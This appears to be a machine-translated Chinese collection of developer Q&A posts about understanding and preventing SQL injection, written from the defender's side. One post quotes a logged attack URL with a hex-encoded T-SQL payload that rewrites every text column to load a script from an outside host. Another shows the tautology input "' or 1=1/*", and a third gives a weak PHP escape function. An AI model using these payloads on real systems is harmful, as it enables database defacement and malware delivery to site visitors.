我们都知道我们应该使用预准备语句或适当的替换/格式化规则,以防止在我们的应用程序中进行sql注入.
但是,当看一下MySQL的字符文字列表时,我注意到它包含以下字符:
\0 ASCII NUL(0x00)字符.\' 单引号(')字符.\" 双引号(")字符.\b 退格字符.\n 换行符(换行符).\r 回车符.\t 制表符.\Z ASCII 26(Ctrl+ Z).请参阅下表后面的注释.\\ 反斜杠(\)字符.\% 一个%角色.\_ 一个_角色.现在,虽然%和_字符需要进行转义以防止将不需要的通配符注入到LIKE语句中,并且'(单引号),\(反斜杠)和"(双引号)都需要进行转义以防止注入任意SQL - 未转义的任何其他字符可能直接导致SQL注入漏洞,否则将无法存在?有没有人有这样一个漏洞的真实世界的例子?
让我们假设我们正在构建我们的查询,如:
SELECT * FROM users WHERE username='$user'
Run Code Online (Sandbox Code Playgroud)
$user唯一未转义的字符文字\b(退格),\0(NUL),\n(换行符),\r(换行符),\t(制表符)或\Z(Ctrl+ Z)允许将任意SQL注入此查询的位置是否有任何值?
我正在寻找一种可以检测恶意请求的工具(例如明显的SQL注入获取或发布),并将立即禁止请求者的IP地址/添加到黑名单.我知道在理想的世界中我们的代码应该能够处理这些请求并相应地对待它们,但是即使站点不受这些攻击的影响,这样的工具也有很多价值,因为它可以导致节省带宽,防止分析膨胀等
理想情况下,我正在寻找一个LAMP/.NET比技术堆栈更高级别的跨平台()解决方案; 也许是在网络服务器或硬件层面.不过,我不确定这是否存在.
无论哪种方式,我都希望听到社群的反馈,以便我可以看到我在实施和方法方面的选择.
我有一个面向公众的网站,过去几周一直在接受一些SQL注入攻击.我专门使用参数化存储过程,所以我认为没有成功的攻击,但最近的日志显示了一个有趣的技术:
为清晰起见添加了换行符
http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43 7572736F72 AS CHAR(4000));EXEC(@S);&_X="
任何人都可以了解"CAST和EXEC"试图做些什么吗?
我刚认识了一个开发人员,他在MYSQL数据库中使用下划线(例如_users,_name,_active)添加了每个表名和列名.当我质疑这种做法时,他说这有助于防止SQL注入攻击 - 我以前从未遇到过这种做法/建议.它如何有助于防止SQL注入攻击?
SQL注入攻击似乎有些歇斯底里.最近,在这里
如果我在Excel中创建一个连接到Access数据库的宏,我真的必须关注SQL注入吗?它不在网上,它在我的办公室使用(你们还记得台式机吗?).我并不担心我的同事会破坏我.如果他们足够聪明,可以进行SQL注入,他们是否足够聪明,无法破解我的加载密码并只是更改代码?
在我正在研究的应用程序中,我发现了一个弱逃逸函数来防止注入.我试图证明这一点,但我在提出一个简单的例子时遇到了麻烦.
escape函数的工作原理如下(PHP示例).
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
Run Code Online (Sandbox Code Playgroud)
我意识到这不涉及使用双引号(")编码的值,但所有查询都是使用单引号(')构造的.
谁可以打败这个逃脱功能?
要求:
简单的例子:
$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
Run Code Online (Sandbox Code Playgroud) 构建我的第一个Web应用程序并希望更好地理解SQL注入(https://github.com/astaxie/build-web-application-with-golang/blob/master/en/eBook/09.4.md).
我总是使用'database/sql'库并使用'?'构建查询,从而获得多少SQL注入保护?而不是连接字符串?在这种情况下,我仍然需要担心什么样的SQL注入攻击?
让我们说MySQL数据库(如果重要).
我在我的通讯订户数据库的"电子邮件"字段中找到以下内容:'或1 = 1/*
我知道这是一个SQL注入,但就是这样.我已经谷歌搜索了一下,但我仍然清楚它究竟想要实现什么.这发生在11月初,据我所知,我们在那个时候没有停电.你们这些善良的灵魂能告诉我这个家伙可能会尝试做什么吗?有没有办法知道他是否达到了他的目的?
我几乎一无所知,我很担心.:(
我正在使用sequelize with express.我需要保护db不受sql-injection的影响.我看到了续集的文件,但我找不到任何东西.所以请帮助我如何使用sequelize防止sql注入.
sql-injection ×10
mysql ×5
security ×4
sql ×3
access-vba ×1
database ×1
escaping ×1
excel ×1
express ×1
go ×1
ms-access ×1
node.js ×1
sequelize.js ×1
sql-server ×1
vba ×1
xss ×1